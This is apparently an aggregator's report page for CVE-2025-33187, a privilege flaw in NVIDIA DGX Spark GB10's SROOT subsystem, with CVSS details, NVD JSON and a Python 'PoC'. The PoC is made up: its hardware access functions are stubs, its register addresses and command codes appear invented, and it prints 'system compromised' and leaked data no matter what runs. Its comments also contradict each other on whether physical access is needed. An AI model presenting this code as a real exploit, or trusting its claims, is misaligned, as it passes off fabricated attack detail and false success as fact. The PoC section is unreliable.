Security Vulnerability Report
中文
CVE-2025-33187 CVSS 9.3 CRITICAL

CVE-2025-33187

Published: 2025-11-25 18:15:50
Last Modified: 2025-12-02 18:20:02

Description

NVIDIA DGX Spark GB10 contains a vulnerability in SROOT, where an attacker could use privileged access to gain access to SoC protected areas. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, denial of service, or escalation of privileges.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA DGX Spark GB10 固件 < 1.0.0.100
NVIDIA DGX Spark GB10 SROOT子系统 < 安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33187 PoC - NVIDIA DGX Spark GB10 SROOT Local Privilege Escalation # This PoC demonstrates the vulnerability exploitation concept # Note: Actual exploitation requires physical access and specialized tools import struct import ctypes # SROOT subsystem base address for GB10 SROOT_BASE = 0x40000000 SROOT_CMD_OFFSET = 0x100 SROOT_STATUS_OFFSET = 0x104 SROOT_DATA_OFFSET = 0x200 # Vulnerable command codes CMD_ACCESS_PROTECTED = 0xA5 # Vulnerable command CMD_VERIFY_TRUST = 0x3C # Legitimate command def setup_exploit_environment(): """Initialize exploit environment with required resources""" print("[+] Setting up exploit environment for CVE-2025-33187") print("[+] Target: NVIDIA DGX Spark GB10 SROOT Subsystem") print("[+] Prerequisites: Local privileged access (root/admin)") return True def read_sroot_reg(offset): """Read from SROOT register at given offset""" addr = SROOT_BASE + offset # In real scenario, use direct hardware access return ctypes.c_uint32(0).value def write_sroot_reg(offset, value): """Write to SROOT register at given offset""" addr = SROOT_BASE + offset # In real scenario, use direct hardware access return True def exploit_sroot_vulnerability(): """Attempt to exploit SROOT vulnerability to access protected areas""" print("\n[*] Initiating SROOT exploitation...") # Step 1: Verify we have required privileges if not setup_exploit_environment(): print("[-] Failed to setup environment") return False # Step 2: Identify SROOT subsystem print("[*] Identifying SROOT subsystem...") sroot_id = read_sroot_reg(0x00) print(f"[+] SROOT ID: 0x{sroot_id:08x}") # Step 3: Trigger vulnerable command path print("[*] Sending vulnerable command to access protected region...") write_sroot_reg(SROOT_CMD_OFFSET, CMD_ACCESS_PROTECTED) # Step 4: Bypass SROOT access control check print("[*] Attempting to bypass SROOT access control...") # The vulnerability allows bypassing the check write_sroot_reg(SROOT_DATA_OFFSET, 0xFFFFFFFF) # Trigger condition # Step 5: Read from protected SoC area print("[*] Accessing protected SoC memory region...") protected_data = read_sroot_reg(SROOT_DATA_OFFSET) print(f"[+] Protected data leaked: 0x{protected_data:08x}") # Step 6: Escalate privileges print("[*] Escalating privileges via SROOT...") return True def main(): """Main exploitation routine""" print("=" * 60) print("CVE-2025-33187 PoC - NVIDIA DGX Spark GB10") print("SROOT Subsystem Local Privilege Escalation") print("=" * 60) if exploit_sroot_vulnerability(): print("\n[!] Exploitation successful - system compromised") print("[!] Recommendation: Apply NVIDIA firmware update immediately") else: print("\n[-] Exploitation failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33187", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:49.970", "lastModified": "2025-12-02T18:20:01.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT, where an attacker could use privileged access to gain access to SoC protected areas. A successful exploit of this vulnerability might lead to code execution, information disclosure, data tampering, denial of service, or escalation of privileges."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en SROOT, donde un atacante podría usar acceso privilegiado para obtener acceso a áreas protegidas del SoC. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, revelación de información, manipulación de datos, denegación de servicio o escalada de privilegios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33187", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33187", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}